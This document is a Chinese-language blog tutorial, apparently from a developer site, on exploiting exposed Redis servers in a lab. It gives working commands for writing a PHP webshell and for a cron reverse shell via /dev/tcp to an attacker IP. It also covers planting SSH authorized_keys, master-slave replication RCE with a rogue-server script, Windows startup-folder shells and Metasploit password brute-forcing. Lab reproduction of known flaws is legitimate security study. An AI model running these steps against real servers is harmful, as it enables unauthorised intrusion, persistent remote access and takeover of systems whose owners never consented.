目录

redis准备

启动redis服务器

redis漏洞利用

写入webshell

计划任务反弹shell

写入公钥远程连接

主从复制RCE(Linux)

主从同步RCE漏洞复现

Windows自启动

redis密码暴力破解


由于最近github的问题,已备好

资源包  提取码:ks18 

redis准备

Linux

安装:

https://redis.io/download

tar xzf redis-6.0.1.tar.gz

cd redis-6.0.1

make

方便直接调用:

cp redis-server redis-cli /usr/bin

cp redis.conf /etc/

修改配置文件,

漏洞复现过程中修改配置文件

bind 127.0.0.1 => bind 0.0.0.0  //开启远程访问

protected-mode yes => protested-mode no

 

windows同linux

安装包资源包中会被分享

 

启动redis服务器

redis-server /etc/redis.conf

 

使用客户端成功连接

 

redis漏洞利用

写入webshell

要求

成功连接redis服务器

知道web根目录的绝对路径

redis服务器用户有写入权限

复现环境

服务器:kali2020.3 开启 redis 和 apache2 IP:192.168.1.154

攻击机:ubuntu IP:192.168.1.129

攻击机测试redis连接正常(服务端确定远程访问开启并关闭保护模式)

 

目标:在服务器端/var/wwww/html/redis_test/目录下写入webshell

CONFIG SET dir "/var/www/html/redis_test"  //chang database file location

CONFIG SET dbfilename phpinfo.php       //change database file name

set x "<?php phpinfo();?>"         //inject shell payload into database

save          //save database to file

成功写入

 


计划任务反弹shell

要求:

centos服务主机(其他类型的系统,如ubuntu、Debian 由于redis写到计划任务中的命令总会不可避免的出现乱码,而只有centos主机会忽略乱码继续执行)

搭建centos环境 --> https://blog.csdn.net/weixin_43252204/article/details/115182088

连接到centos redis服务器,这里避免与kali主机的redis端口冲突,docker映射为6378

在192.168.1.150 主机上开启端口监听

 

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.150/6666 0>&1\n\n"

save

 

等待片刻,即可弹回shell


写入公钥远程连接

本地生成公私钥文件

ssh-keygen -t rsa

 

将公钥内容写入key.txt文件

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

 

将key.txt文件中的公钥设置给redis的变量

cat /root/.ssh/key.txt | redis-cli -h 192.168.1.154 -x set tide

 

在被攻击机的/root/.ssh目录下写入authorized_keys

 

可以发现在被攻击kali主机的/root/.ssh目录下已经生成authorized_keys文件

 

此时使用私钥连接(ssh第一次连接时要加上 -o StrictHostKeyChecking=no)

ssh -o StrictHostKeyChecking=no 192.168.1.154

连接成功

 


主从复制RCE(Linux)

先来看看什么是redis主从复制

redis为了应对读写流量大的情况时,增加了主从模式,此时,会有一个redis服务器作为主机,其他从属这台主机的redis服务器作为备份机,主机只负责写,从机负责来读,这样就大大减轻了redis主机的读写负担。

 

利用条件

redis从4.x版本之后加入了新的模块,通过外部拓展,可以实现在一个redis中实现新的Redis命令的功能,通过写c语言并编译出.so文件

redis:4.x - redis:5.0.5

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so恶意文件,就可以拓展新命令

 

主从同步示例

这边开两台redisdocker

redis 5.0.4的测试环境已搭好上传至dockerhub 有需要的:docker pull beglage/centos_redis_5

主从同步演示,可以看到在两台机器使用slafveof作主从同步之后,主机.3设置c的值为1时,主机.2得到的c的值也变为2

 

主从同步RCE漏洞复现

复现环境

kali2020.3

redis5.0.4 docker容器

redis4.x - 5.0.5

启动redis5.0.4 docker容器

容器IP:172.17.0.2

下载并编译恶意文件

git clone https://github.com/RicterZ/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand-master/

make

下载利用脚本

https://github.com/LoRexxar/redis-rogue-server

cd redis-rogue-server-master/

复制恶意文件至当前目录下以备攻击使用

cp ../RedisModules-ExecuteCommand-master/module.so ./exp.so

 

攻击原理

摘自: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

攻击者在本地电脑上开启redis服务,实现主从同步,让待攻击服务器成为我们的从机,之后与待攻击服务器进行初始握手,接下来为执行的脚本设置调试模式,然后使用断点触发调试器,最后借助调试器执行我们的命令,就可RCE!

攻击

python3 redis-rogue-server.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1

参数

--rhost 指定要攻击的服务器(开启的docker容器)

--rport 指定端口

--lhost 指定本地攻击ip(这里我本机在docker环境下的ip就是172.17.0.1)

--lport 指定要攻击是从本机的哪个端口开放redis服务 (默认21000)

攻击成功之后链接到对方redis服务器就可RCE


Windows自启动

windows启动redis服务器,远程连接,直接写入shell至自启动目录

windwos反弹shell的姿势可参考:---->  https://www.jianshu.com/p/1a9ff74fee48

由于redis写入自启动文件时会有额外的干扰数据 前后使用\r\n\r\n 可保证要执行的命令在一行中,windows按行执行shell

 

成功写入

 

当windows账号重启时可以弹回shell

 


redis密码暴力破解

开启redis密码登录校验

 

添加-a参数可以指定密码访问

 

使用msf的auxiliary/scanner/redis/redis_login模块,配置攻击目标和指定字典

 


参考博文:

https://www.freebuf.com/articles/web/237263.html

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

https://paper.seebug.org/975/

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

 

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐